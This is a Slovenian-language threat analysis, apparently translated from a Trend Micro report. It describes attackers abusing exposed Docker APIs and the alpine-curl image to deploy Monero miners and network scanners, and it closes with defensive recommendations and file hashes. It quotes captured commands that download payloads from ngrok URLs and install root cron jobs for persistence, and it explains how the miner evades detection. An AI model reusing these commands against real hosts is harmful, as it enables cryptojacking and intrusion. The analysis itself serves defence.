Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut

Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut

Analizirali smo podatke, zbrane s pomočjo honeypot vsebnikov, ki smo jih ustvarili za sledenje grožnjam. Zaznali smo tudi znatno aktivnost neželenih ali nepooblaščenih rudarjev kriptovalut, nameščenih kot lažni vsebniki, z uporabo slike, ki jo je objavila skupnost na Docker Hubu. Slika se uporablja kot del storitve, ki zagotavlja zlonamerne rudarje kriptovalut.

Poleg tega so nameščeni programi za delo z omrežji, ki prodrejo v odprte sosednje vsebnike in aplikacije.

Honeypots pustimo takšne, kot so, torej s privzetimi nastavitvami, brez kakršnih koli varnostnih ukrepov ali naknadne namestitve dodatne programske opreme. Upoštevajte, da ima Docker priporočila za začetno nastavitev, da se izognete napakam in preprostim ranljivostim. Toda uporabljeni honeypots so vsebniki, zasnovani za odkrivanje napadov, usmerjenih na platformo za kontejnerizacijo, ne pa na aplikacije v vsebnikih.

Zaznana zlonamerna dejavnost je opazna tudi zato, ker ne zahteva ranljivosti in je tudi neodvisna od različice Docker. Vse, kar napadalci potrebujejo za okužbo številnih odprtih strežnikov, je iskanje nepravilno konfigurirane in zato odprte slike vsebnika.

Nezaprt Docker API omogoča uporabniku izvajanje širokega spektra ekipe, vključno s pridobivanjem seznama delujočih vsebnikov, pridobivanjem dnevnikov iz določenega vsebnika, zagonom, zaustavitvijo (vključno s prisilnim) in celo ustvarjanjem novega vsebnika iz določene slike z določenimi nastavitvami.

Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut
Na levi je način dostave zlonamerne programske opreme. Na desni je napadalčevo okolje, ki omogoča oddaljeno predvajanje slik.

Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut
Porazdelitev 3762 odprtih API-jev Docker po državah. Na podlagi iskanja Shodan z dne 12.02.2019. XNUMX. XNUMX

Možnosti napadalne verige in tovora

Zlonamerna dejavnost ni bila odkrita le s pomočjo honeypots. Podatki iz Shodana kažejo, da se je število izpostavljenih API-jev Docker (glejte drugi graf) povečalo, odkar smo raziskali napačno konfiguriran vsebnik, ki se uporablja kot most za uvajanje programske opreme za rudarjenje kriptovalut Monero. Oktobra lani (2018, trenutni podatki lahko izgledaš takole pribl. prevajalec) je bilo samo 856 odprtih API-jev.

Pregled dnevnikov honeypot je pokazal, da je bila uporaba slike vsebnika povezana tudi z uporabo ngrok, orodje za vzpostavljanje varnih povezav ali posredovanje prometa iz javno dostopnih točk na določene naslove ali vire (na primer localhost). To omogoča napadalcem, da dinamično ustvarjajo URL-je, ko pošiljajo tovor odprtemu strežniku. Spodaj so primeri kode iz dnevnikov, ki prikazujejo zlorabo storitve ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Kot lahko vidite, se naložene datoteke prenašajo s stalno spreminjajočih se URL-jev. Ti URL-ji imajo kratek rok veljavnosti, zato uporabnih vsebin ni mogoče prenesti po datumu poteka.

Obstajata dve možnosti nosilnosti. Prvi je preveden rudar ELF za Linux (definiran kot Coinminer.SH.MALXMR.ATNO), ki se poveže z rudarskim bazenom. Drugi je skript (TrojanSpy.SH.ZNETMAP.A), namenjen pridobivanju določenih omrežnih orodij, ki se uporabljajo za skeniranje omrežnih razponov in nato iskanje novih ciljev.

Skript dropper nastavi dve spremenljivki, ki se nato uporabita za namestitev rudarja kriptovalut. Spremenljivka HOST vsebuje URL, kjer se nahajajo zlonamerne datoteke, spremenljivka RIP pa je ime datoteke (pravzaprav zgoščena vrednost) rudarja, ki bo nameščen. Spremenljivka HOST se spremeni vsakič, ko se spremeni spremenljivka hash. Skript prav tako poskuša preveriti, ali se na napadenem strežniku ne izvajajo nobeni drugi rudarji kriptovalut.

Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut
Primeri spremenljivk HOST in RIP, kot tudi delček kode, ki se uporablja za preverjanje, ali se ne izvajajo drugi rudarji

Pred zagonom se rudar preimenuje v nginx. Druge različice tega skripta preimenujejo rudar v druge zakonite storitve, ki so lahko prisotne v okoljih Linux. To je običajno dovolj, da obidete preverjanje seznama izvajajočih se procesov.

Iskalni skript ima tudi funkcije. Deluje z isto storitvijo URL za uvajanje potrebnih orodij. Med njimi je binarni zmap, ki se uporablja za skeniranje omrežij in pridobivanje seznama odprtih vrat. Skript naloži tudi drugo dvojiško datoteko, ki se uporablja za interakcijo z najdenimi storitvami in prejemanje pasic od njih za določitev dodatnih informacij o najdeni storitvi (na primer njeno različico).

Skript tudi vnaprej določi nekatere omrežne obsege za skeniranje, vendar je to odvisno od različice skripta. Prav tako nastavi ciljna vrata storitev – v tem primeru Dockerja – preden zažene skeniranje.

Takoj, ko so možne tarče najdene, se pasice samodejno odstranijo z njih. Skript tudi filtrira cilje glede na storitve, aplikacije, komponente ali platforme, ki vas zanimajo: Redis, Jenkins, Drupal, MODX, Mojster Kubernetes, odjemalec Docker 1.16 in Apache CouchDB. Če se skenirani strežnik ujema s katerim koli od njih, se shrani v besedilno datoteko, ki jo lahko napadalci kasneje uporabijo za poznejšo analizo in vdiranje. Te besedilne datoteke se naložijo na strežnike napadalcev prek dinamičnih povezav. To pomeni, da se za vsako datoteko uporablja ločen URL, kar pomeni, da je kasnejši dostop otežen.

Vektor napada je Dockerjeva slika, kot je razvidno iz naslednjih dveh delov kode.

Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut
Na vrhu je preimenovanje v legitimno storitev, na dnu pa je prikazano, kako se zmap uporablja za skeniranje omrežij

Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut
Na vrhu so vnaprej določeni omrežni obsegi, na dnu so posebna vrata za iskanje storitev, vključno z Dockerjem

Kako se nelasniški API Docker in javne slike iz skupnosti uporabljajo za distribucijo rudarjev kriptovalut
Posnetek zaslona kaže, da je bila slika alpskega kodra prenesena več kot 10-milijonkrat

Na podlagi Alpine Linux in curl, z viri učinkovitega orodja CLI za prenos datotek prek različnih protokolov, lahko zgradite Dockerjeva slika. Kot lahko vidite na prejšnji sliki, je bila ta slika prenesena že več kot 10-milijonkrat. Veliko število prenosov lahko pomeni uporabo te slike kot vstopne točke; ta slika je bila posodobljena pred več kot šestimi meseci; uporabniki niso tako pogosto prenašali drugih slik iz tega skladišča. V Dockerju vstopna točka - niz navodil, ki se uporabljajo za konfiguracijo vsebnika za njegovo izvajanje. Če so nastavitve vstopne točke nepravilne (na primer, je vsebnik odprt iz interneta), se lahko slika uporabi kot vektor napada. Napadalci ga lahko uporabijo za dostavo tovora, če najdejo napačno konfiguriran ali odprt vsebnik, ki ni podprt.

Pomembno je omeniti, da ta slika (alpine-curl) sama po sebi ni zlonamerna, ampak kot lahko vidite zgoraj, se lahko uporablja za izvajanje zlonamernih funkcij. Podobne slike Docker se lahko uporabljajo tudi za izvajanje zlonamernih dejavnosti. Kontaktirali smo Docker in z njimi sodelovali pri tej težavi.

Priporočila

Nepravilna nastavitev ostanki stalni problem za številna podjetja, predvsem tista, ki izvajajo DevOps, osredotočen na hiter razvoj in dostavo. Vse skupaj še poslabšujejo potreba po spoštovanju revizijskih in nadzornih pravil, potreba po spremljanju zaupnosti podatkov, pa tudi ogromna škoda zaradi njihovega neupoštevanja. Vključitev varnostne avtomatizacije v razvojni življenjski cikel vam ne samo pomaga najti varnostne luknje, ki bi sicer ostale neodkrite, ampak vam tudi pomaga zmanjšati nepotrebno delovno obremenitev, kot je izvajanje dodatnih gradenj programske opreme za vsako odkrito ranljivost ali napačno konfiguracijo po uvedbi aplikacije.

Incident, obravnavan v tem članku, poudarja potrebo po upoštevanju varnosti že od samega začetka, vključno z naslednjimi priporočili:

  • Za sistemske skrbnike in razvijalce: vedno preverite nastavitve API-ja, da se prepričate, ali je vse konfigurirano tako, da sprejema samo zahteve iz določenega strežnika ali notranjega omrežja.
  • Upoštevajte načelo najmanjših pravic: zagotovite, da so slike vsebnika podpisane in preverjene, omejite dostop do kritičnih komponent (storitev zagona vsebnika) in dodajte šifriranje omrežnim povezavam.
  • Sledite priporočila in omogočiti varnostne mehanizme, npr. iz Dockerja in vgradna varnostne funkcije.
  • Uporabite samodejno skeniranje izvajalnih časov in slik, da pridobite dodatne informacije o procesih, ki se izvajajo v vsebniku (na primer za odkrivanje ponarejanja ali iskanje ranljivosti). Nadzor aplikacij in spremljanje integritete pomagata slediti neobičajnim spremembam strežnikov, datotek in sistemskih področij.

Trendmicro pomaga ekipam DevOps pri varni gradnji, hitri uvedbi in lansiranju kjer koli. Trend Micro Hibridna varnost v oblaku Zagotavlja zmogljivo, poenostavljeno in avtomatizirano varnost v celotnem cevovodu DevOps organizacije in zagotavlja obrambo pred številnimi grožnjami XGen za zaščito fizičnih, virtualnih in oblačnih delovnih obremenitev med izvajanjem. Doda tudi varnost vsebnika z Globoka varnost и Deep Security Smart Check, ki pregledujejo slike vsebnika Docker za zlonamerno programsko opremo in ranljivosti na kateri koli točki razvojnega cevovoda, da preprečijo grožnje, preden so uvedene.

Znaki kompromisa

Povezani zgoščevalci:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Na Video tečaj Docker Govorci praktiki pokažejo, katere nastavitve je treba narediti najprej, da bi zmanjšali verjetnost ali popolnoma preprečili pojav zgoraj opisane situacije. In od 19. do 21. avgusta na spletnem intenzivu DevOps orodja in goljufije O teh in podobnih varnostnih problemih se lahko pogovorite s kolegi in učitelji praktiki na okrogli mizi, kjer lahko vsak spregovori in prisluhne mukam in uspehom izkušenih kolegov.

Vir: www.habr.com

Dodaj komentar